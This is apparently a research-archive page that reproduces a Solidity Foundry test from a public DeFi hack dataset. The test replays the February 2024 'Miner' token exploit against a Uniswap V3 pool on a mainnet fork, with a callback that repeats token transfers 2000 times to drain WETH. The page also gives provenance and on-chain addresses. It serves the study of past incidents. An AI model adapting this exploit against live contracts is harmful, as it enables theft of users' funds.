Public reproduction file

src/test/2024-02/Miner_exp.sol

Public reproduction file for dataset entry Miner.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/Miner_exp.sol74 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.24;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~140 $ETH
8// Attacker : https://etherscan.io/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba
9// Attack Contract : https://etherscan.io/address/0xbff51c9c3d50d6168dfef72133f5dbda453ebf29
10// Vulnerable Contract : https://etherscan.io/address/0x732276168b421d4792e743711e1a48172ea574a2
11// Attack Tx : https://etherscan.io/tx/0x75e3aeb00df69882a1b15d424e5e642650326ca3b923d7fd1922d57c51bc2c78
12 
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1757777340002681326
15 
16interface IMinerUNIV3POOL {
17    function swap(
18        address recipient,
19        bool zeroForOne,
20        int256 amountSpecified,
21        uint160 sqrtPriceLimitX96,
22        bytes calldata data
23    ) external;
24}
25 
26interface IMiner {
27    function transferFrom(address from, address to, uint256 value) external;
28    function transfer(address to, uint256 value) external returns (bool);
29    function balanceOf(
30        address account
31    ) external view returns (uint256);
32    function uri(
33        uint256 id
34    ) external view returns (string memory);
35}
36 
37contract ContractTest is Test {
38    address attacker = 0xea75AeC151f968b8De3789CA201a2a3a7FaeEFbA;
39    IMinerUNIV3POOL pool = IMinerUNIV3POOL(0x732276168b421D4792E743711E1A48172EA574a2);
40    IMiner MINER = IMiner(0xE77EC1bF3A5C95bFe3be7BDbACfe3ac1c7E454CD);
41    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
42    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
43 
44    function setUp() public {
45        // evm_version Requires to be "shanghai"
46        cheats.createSelectFork("mainnet", 19_226_508 - 1);
47        cheats.label(address(MINER), "MINER");
48        cheats.label(address(pool), "MINER_Pool");
49        cheats.label(address(WETH), "WETH");
50    }
51 
52    function testExploit() public {
53        emit log_named_uint("Attacker ETH balance before exploit", WETH.balanceOf(address(this)));
54        cheats.startPrank(attacker);
55        MINER.transfer(address(this), MINER.balanceOf(attacker));
56        MINER.balanceOf(address(this));
57        cheats.stopPrank();
58 
59        bool zeroForOne = false;
60        int256 amountSpecified = 999_999_999_999_999_998_000;
61        uint160 sqrtPriceLimitX96 = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_340;
62        bytes memory data = abi.encodePacked(uint8(0x61));
63        pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);
64        emit log_named_uint("Attacker ETH balance affter exploit", WETH.balanceOf(address(this)));
65    }
66 
67    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
68        MINER.balanceOf(address(this));
69        for (uint256 i = 0; i < 2000; i++) {
70            MINER.transfer(address(pool), 499_999_999_999_999_999);
71            MINER.transfer(address(this), 499_999_999_999_999_999);
72        }
73    }
74}

Analysis

Dataset entry

Public Foundry test for “Miner” (2024-02-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xea75aec151f968b8de3789ca201a2a3a7faeefba
Attack Contract
0xbff51c9c3d50d6168dfef72133f5dbda453ebf29
Vulnerable Contract
0x732276168b421d4792e743711e1a48172ea574a2

Attack Tx
0x75e3aeb00df69882a1b15d424e5e642650326ca3b923d7fd1922d57c51bc2c78

File record

Name: Miner
Path: src/test/2024-02/Miner_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: ec220167b3406884ca6fb1b8cf56c9224d68897d
Language: Solidity
Size: 75 lines
Date: 2024-02-15
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-02/Miner_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ec220167b3406884ca6fb1b8cf56c9224d68897d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.